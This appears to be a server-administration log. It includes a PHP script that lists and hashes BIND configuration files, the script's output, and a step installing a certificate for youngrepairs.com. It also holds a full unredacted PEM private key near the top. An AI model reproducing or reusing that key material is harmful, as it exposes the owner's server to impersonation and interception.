DDWuaHtWJxBife+hitvRE0NQka+nv2NrTTscZWJRE89djjplKr6P+CZwU+s0vGZ+
5jYJLyRNye1KTkaOF/2D8VRQlT09NtRch2ZaUPH8Z2z1+FR8ugsnsR2cbadgXTt7
mbgetbQn9I++0JE4d/prOjGNvH0CRUpLOn6fOxLGVdaTQHOh1Wi6L9vXRNGxYgc9
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCkWzL32x1/b0Ej
B7Tw6aC5If/+nAE2AtWN7ew43gYxU9wC8ujGGybXksvCwmhA9q/vMjypi80QwPsS
TSGUejyAYq7Mb9gJjIM8orsoZvK+4CtQXioe+4Co3MpMs5ggT/OxE6lr2cA5rbed
RZv1ybmSu6/1ylL1nQUMmwJ5/sKdCnmql4FOLU/9vrd3ve2Ht5za7raWv8dlIaP0
Xl0NJUgXU6cM5ztp1OJHmD2v3q3Vl98avtezk/cBHI6v57/WA4GPojVvUBlIhytn
CiGIQn2GiD9JZ39kKoJJrpnZr/ALw5O9gsVO6w7HO8L6PS9JGJncRIQtwFEf2Ai7
imi0eTFNAgMBAAECggEAFIFeWAcJ5JrMTSMKg54aU862ohzzl7n9y9HZzXSB4Eie
o+2Ldh/wFig17MwVdrlwVM73O436HTN+f5eI733aq4fkWBRCJ1rVCs0gvZcuhPrx
3HqLFcd6E1dMlAo6GhnvhPG3iwGlVmzigigrn5w132U0PF2sQQGAnkR+qBrNTAtN
r/d4BE8UVghuK3H/3Ww1rSHmKQmll1+6uzzwNJGxSJMTPmB55xBzibHGuWa4y8oL
W0uN7EOJbFpL3r7igD+JIJlOIv6TUcqliY+fnyAlKyW9VVS14Go9calAiACB7me4
aOJqNVt27slVDZa9FBCDAl+trFBVP3K/1zR9NPHTTwKBgQDd8BwG21pokA0PUkoV
odoqFfl4R0e69wcv/lAfwd6Cqgsvy0LPD+nJTRSn3CgP9BgZYgmFVdxzpw4MxM/c
/iVbUxs6F5mc7KYYRAD2pUo3+bE4LVi2CLqfe0qW+ClAgXT9i6ST/p+hfLjzYHC4
fzLlXWswbFRPphHVZpjdJwzjnwKBgQC9lLfv3XnLGxOB6+6g49ffRseF0p0dWiI2
4LqNNe0/PibEY2MCbkoiMc/bbADQPc3CVFlsG6PUUijs7peKtByJc4InHoUV61LT
mpnLesOptwQxI9o2OytSuWRFd78jayJGNkm8qZ1OoabmXXTnCdf1PyD2FBwCO+Q/
kz0U2HRjkwKBgQCjRIQZtzynN3GkF9FQYKTx2QCRLz7hl+C9ucSP2DssvJNGMa2Q
ThCaeg37/sWqFtOzuJ9wa12l5vs7AX45AO3SZSzea4YiHyWBLGXZDHew/gsVXKaq
I3nG4RhaP215esLp0tTb2rDsR6h3wjaqQ0jZ2wODt+2+OllcOAG0j4m32QKBgGVj
5kOopXyUjIhNkCAH+un0xryxeUm7bNUAt4TSNIJAUSdzJ/6i0Y8cKNhnGMBGbYbi
6bhByArDrhOZPv71eNWiKxeU4QRqCLAW3O3QSFi6AsntLMUYPAFQGWp1sonUwE3g
turpo7HsDoDhtqXhw9fr3Ur+UkR3l4jQzDgb05N1AoGBAKzg5PT6LwuDkeumiGFB
1T6J+srdKd0jZMK0inI0OG6wyGicanDZfMaGZqTpGjc40qr9hW8G/ccDOCk3AXrr
FUinlxFY6n7XGS2nJFjBVIVT8etmtvsSvY+XjAo59DKB6IhRD3H/L4weJbU2+ZNT
kAptLTaBd5U0Dx9mLswOjJ8n
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-29 19:46:27: Establishing a connection
2026-04-29 19:46:34: Establishing a connection
2026-04-29 19:46:34: 

PUT: /tmp/pkp343224

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 19:46:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp343224; rm /tmp/pkp343224'

2026-04-29 19:46:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 19:48:25: Establishing a connection
2026-04-29 19:48:25: 

PUT: /tmp/pkp466582

#!/bin/bash
temp_file=$(mktemp)
TARGET=76526c88d7a3ad40c19457afe65bc2f6.crt

cat > $temp_file <<'endmsg'
76:52:6c:88:d7:a3:ad:40:c1:94:57:af:e6:5b:c2:f6

-----BEGIN CERTIFICATE-----
MIIDWzCCAkOgAwIBAgIUepGTQeFDYHTOFGlpyJcuDxwaynkwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDQyOTE5NDgyNVoXDTI3MDQyOTE5NDgyNVow
GzEZMBcGA1UEAwwQeW91bmdyZXBhaXJzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALKbbLAt0rkwJ1xmLND2q2ybi4btfnoK4qFc9FpWKCRrZvZT
wlnkorBZReVzW4K5ZX2TNnrWOI0NEVsFI3tiM8rSkdwAGJEBUD3OIP5hkDywO1q4
RntljSACvYa7brLx0BapP7PkufeZrVlz8BdUw7CjbrvclwVUCo15f3dFBVv3O7s6
aI6QtUGYeB1GfSmZhf+4r/GqaQB+bijXtC/I7FSdeQgjtgq7ktXn5YUT0iQW3JzC
XWT8zgLmqyBqv3nGUGL23F6Z8ywEwnsuf36krz67FjQApTcjllvnetiG9ZVvbRUV
uaPzePIK8NX7HCJZlDv+FjVfwLLo3K1/HIGWxsMCAwEAAaN3MHUwHQYDVR0OBBYE
FMWSBm793MWJGCw6g5aBJtOdSTNaMB8GA1UdIwQYMBaAFIWbbgz9zSS14fXQpAM4
gldLMHP8MAsGA1UdDwQEAwIFoDAJBgNVHRMEAjAAMBsGA1UdEQQUMBKCEHlvdW5n
cmVwYWlycy5jb20wDQYJKoZIhvcNAQELBQADggEBALsM7n9V8JdkdOEiP8Q2vLwr
YZftjPsrQtt/wuC8YRJVqFWh1U2oWE5mtneNvCcBzRm9I9xO3Gb8B6muInxDZQV+
